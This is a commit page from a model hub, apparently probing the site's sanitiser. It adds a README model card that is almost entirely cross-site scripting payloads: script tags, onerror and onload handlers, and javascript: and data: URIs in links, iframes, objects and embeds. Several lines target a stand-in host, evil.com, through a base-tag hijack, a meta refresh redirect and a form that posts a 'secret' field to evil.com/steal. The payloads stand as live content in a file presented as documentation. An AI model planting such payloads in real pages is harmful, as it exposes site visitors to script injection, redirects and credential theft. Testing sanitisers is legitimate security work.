FIRSTACCOUNT69 commited on
Commit
95a344c
·
verified ·
1 Parent(s): 3acc8a9

xss test model card

Browse files
Files changed (1) hide show
  1. README.md +51 -0
README.md ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ ---
4
+ # Test Model
5
+
6
+ ## XSS Tests
7
+
8
+ ### Image onerror
9
+ <img src=x onerror=alert(1)>
10
+
11
+ ### Script tag
12
+ <script>alert(document.domain)</script>
13
+
14
+ ### SVG onload
15
+ <svg onload=alert(1)>
16
+
17
+ ### Markdown link with javascript
18
+ [Click me](javascript:alert(1))
19
+
20
+ ### Data URI link
21
+ [Click](data:text/html,<script>alert(1)</script>)
22
+
23
+ ### HTML entities
24
+ <img src=&quot;x&quot; onerror=&quot;alert(1)&quot;>
25
+
26
+ ### Iframe
27
+ <iframe src=javascript:alert(1)>
28
+
29
+ ### Object tag
30
+ <object data=javascript:alert(1)>
31
+
32
+ ### Embed
33
+ <embed src=javascript:alert(1)>
34
+
35
+ ### Base tag (could redirect relative URLs)
36
+ <base href=https://evil.com>
37
+
38
+ ### Form action
39
+ <form action=https://evil.com/steal><input type=text name=secret><button>Submit</button></form>
40
+
41
+ ### Meta refresh
42
+ <meta http-equiv=refresh content="0;url=https://evil.com">
43
+
44
+ ### Markdown with HTML
45
+ <details><summary>Click to expand</summary><img src=x onerror=alert(1)></details>
46
+
47
+ ### Style injection
48
+ <div style="background:url(javascript:alert(1))">test</div>
49
+
50
+ ### Event handlers in attributes
51
+ <div onmouseover="alert(1)">hover me</div>